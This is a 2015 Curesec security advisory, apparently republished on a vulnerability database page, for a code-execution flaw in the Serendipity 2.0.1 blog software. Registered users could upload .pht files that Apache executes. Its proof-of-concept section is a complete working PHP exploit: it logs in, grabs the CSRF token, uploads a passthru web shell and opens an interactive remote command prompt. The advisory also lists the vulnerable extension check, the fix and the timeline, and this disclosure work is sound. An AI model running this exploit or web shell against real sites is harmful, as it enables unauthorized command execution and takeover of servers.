`Serendipity 2.0.1: Code Execution
Security Advisory – Curesec Research Team
1. Introduction
Affected Product: Serendipity 2.0.1
Fixed in: 2.0.2
Fixed Version Link:
https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip
Vendor Contact: [email protected]
Vulnerability Type: Code Execution
Remote Exploitable: Yes
Reported to vendor: 07/21/2015
Disclosed to public: 09/01/2015
Release mode: Coordinated release
CVE: n/a
Credits Tim Coen of Curesec GmbH
2. Vulnerability Description
Serendipity 2.0.1 does not allow the upload of .php, .php4, .php5,
.phtml files, or files starting with a dot - eg .htaccess files.
However, files with extension .pht can be uploaded by registered users,
and will be executed by most default Apache configurations.
The file upload is located here:
http://localhost/serendipity/serendipity_admin.php?serendipity[adminModule]=media&serendipity[adminAction]=addSelect
User registration either requires an admin to create the user, or the
plugin serendipity_plugin_adduser being activated. The default setting
for this plugin does not require an admin to accept the registration of
that user.
3. Proof of Concept
#!/usr/local/bin/php
<?php
if (count($argv) != 8 && count($argv) != 7) {
help($argv);
exit;
}
$cookieJar = tempnam('/tmp', 'cookie');
$user = $argv[1];
$pass = $argv[2];
$rootURL = $argv[3];
$loginURL = $argv[3] . '/' . $argv[4];
$uploadFormURL = $rootURL . '/' . $argv[5];
$shellFileName = $argv[6];
if (count($argv) == 7) {
$shellURL = $rootURL . '/uploads/' . basename($shellFileName);
} else {
$shellURL = $rootURL . '/' . $argv[7];
}
// login
echo "logging in as $user\n";
if (!login($loginURL, array(
"serendipity[user]" => $user,
"serendipity[pass]" => $pass,
"submit" => "Login"))) {
echo "could not log in\n";
exit;
}
echo "login done\n";
// csrf token
echo "getting anti CSRF token\n";
$nonce = getCSRFToken($uploadFormURL, $cookieJar);
echo "token: $nonce\n";
// uploading
echo "uploading $shellFileName to $shellURL\n";
$file = upload($uploadFormURL, $shellFileName,
"serendipity[userfile][1]", array(
"serendipity[token]" => $nonce,
"serendipity[action]" => "admin",
"serendipity[adminModule]" => "media",
"serendipity[adminAction]" => "add",
"serendipity[column_count][1]" => "true",
"serendipity[all_authors]" => "true",
"serendipity[imageimporttype]" => "image",
"serendipity[target_filename][]" => "",
"serendipity[target_directory][]" => ""), $cookieJar);
if ($file == false) {
echo "could not upload (possibly wrong extension? Only .pht is
allowed)\n";
exit;
}
echo "upload done\n";
// executing
echo "starting execution\n";
execute($shellURL, 'exec');
function help($argv) {
echo "usage: php " . $argv[0] . " [user] [pass] [root url] [login
path] [upload form path] [local shell file (pht), should contain <?php
passthru(\$_GET['exec']);] [shell path (optional, in case upload path is
non-standard)]\n
example: php " . $argv[0] . " admin admin http://localhost/serendipity
serendipity_admin.php
serendipity_admin.php?serendipity[adminModule]=media ./404.pht\n";
}
function upload($URL, $fileName, $fileFieldName, $additionalPost,
$cookieJar) {
$fileNameAbsolute = realpath($fileName);
$post = array($fileFieldName => '@' . $fileNameAbsolute);
$post = array_merge($post, $additionalPost);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $URL);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
$result = curl_exec($ch);
$success = strpos($result, "successfully uploaded as") !== false;
$tmp = preg_match("/successfully uploaded as (.*?)<\/span>/s",
$result, $matches);
curl_close($ch);
return $success ? $matches[1] : false;
}
function get($URL, $cookieJar = null) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $URL);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
$result = curl_exec($ch);
curl_close($ch);
return $result;
}
function login($URL, $post) {
global $cookieJar;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $URL);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookieJar);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookieJar);
$content = curl_exec($ch);
$success = strpos($content, "Logged in as") !== false;
curl_close($ch);
return $success;
}
function getCSRFToken($URL, $cookieJar) {
$content = get($URL, $cookieJar);
$tmp = preg_match("/input type=\"hidden\"
name=\"serendipity\[token\]\" value=\"(.*?)\" \//s", $content, $matches);
return $matches[1];
}
function execute($shellURL, $argsName) {
while (true) {
$line = readline("$: ");
if ($line == "quit" || $line == "exit") {
exit;
}
echo get($shellURL . "?" . $argsName . "=" . urlencode($line));
}
}
4. Code
The relevant function checking file extensions:
/include/functions_images.inc.php:16
function serendipity_isActiveFile($file) {
if (preg_match('@^\.@', $file)) {
return true;
}
$core =
preg_match('@\.(php.*|[psj]html?|aspx?|cgi|jsp|py|pl)$@i', $file);
if ($core) {
return true;
}
$eventData = false;
serendipity_plugin_api::hook_event('backend_media_check',
$eventData, $file);
return $eventData;
}
5. Solution
To mitigate this issue please upgrade at least to version 2.0.2:
https://github.com/s9y/Serendipity/releases/download/2.0.2/serendipity-2.0.2.zip
Please note that a newer version might already be available.
5. Report Timeline
07/21/2015 Informed Vendor about Issue
07/24/2015 Vendor releases Version 2.0.2
09/01/2015 Disclosed to public
6. Blog Reference:
http://blog.curesec.com/article/blog/Serendipity-201-Code-Execution-48.html
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation